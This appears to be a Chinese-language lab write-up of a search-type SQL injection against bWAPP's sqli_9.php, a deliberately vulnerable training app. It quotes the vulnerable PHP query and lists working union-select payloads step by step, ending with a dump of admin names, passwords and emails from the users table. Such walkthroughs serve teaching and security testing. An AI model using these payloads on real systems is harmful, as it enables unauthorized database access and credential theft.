標籤:bWAPP之manual_interv bWAPP之sqli_9.php
1、輸入驗證碼,多想也沒用。
然後跳轉到
熟悉的注入頁面。猜想驗證碼的作用應該就是起到一個登陸驗證的作用,查看“manual_interv.php”,代碼如下:
if(isset($_POST["form"]) && isset($_SESSION["captcha"])){ if($_POST["captcha_user"] == $_SESSION["captcha"]) { $_SESSION["manual_interv"] = 1; header("Location: sqli_9.php"); exit; } else { $message = "<font color=\"red\">Incorrect CAPTCHA!</font>"; }}
判斷驗證碼,並跳轉到“sqli_9.php”。
下面是搜尋型SQL的代碼:
$sql = "SELECT * FROM movies WHERE title LIKE ‘%" . sqli($title) . "%‘";
之前忘了說,搜尋型注入為什麼輸入“1%‘and‘%‘=‘”會是正常的不報錯的,因為“1%‘”這裡的百分比符號和單引號(%‘),閉合了代碼中“LIKE ‘%”,二“and‘%‘=‘”這裡的(‘%‘=‘)是為了閉合代碼最後面的“%‘";”;注入進去就變成了“SELECT * FROM movies WHERE title LIKE ‘%" 1%‘and‘%‘=‘ "%‘”,意思就是搜尋“1”,後面的“‘%’=‘%’”成了一個為真的判斷。輸入“1%‘查詢語句+--+”,是閉合前面的搜尋查詢,並調用我們注入的查詢語句,然後注釋掉後面的內容。
下面接著講這次的SQL注入。
2、輸入個單引號進行判斷。
報錯又有“%”,果斷嘗試搜尋型注入。輸入“title=1%‘and‘%‘=‘”,結果
3、判斷欄位數:
輸入“title=1%‘order by 7 --+”正常,輸入“title=1%‘order by 8 --+”報錯,結果
所以欄位數為7。
4、查看顯示位:
輸入“title=1%‘union select 1,2,3,4,5,6,7 --+”,結果
5、查詢資料庫等資訊:
輸入“title=1%‘union select 1,database(),version(),4,user(),6,7 --+”,查詢資料庫名為bwapp、資料庫版本為5.5.53、目前使用者為[email protected],結果
6、查詢表名:
輸入“title=1%‘union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema=‘bwapp‘--+”,發現users表較為重要,結果:
7、查詢欄位名:
輸入“title=1%‘union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name=‘users‘--+”,發現較重要的欄位有admin、password、email,結果
8、查詢欄位內容:
輸入“title=1%‘union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,結果
SQL注入之bWAPP之manual_interv.php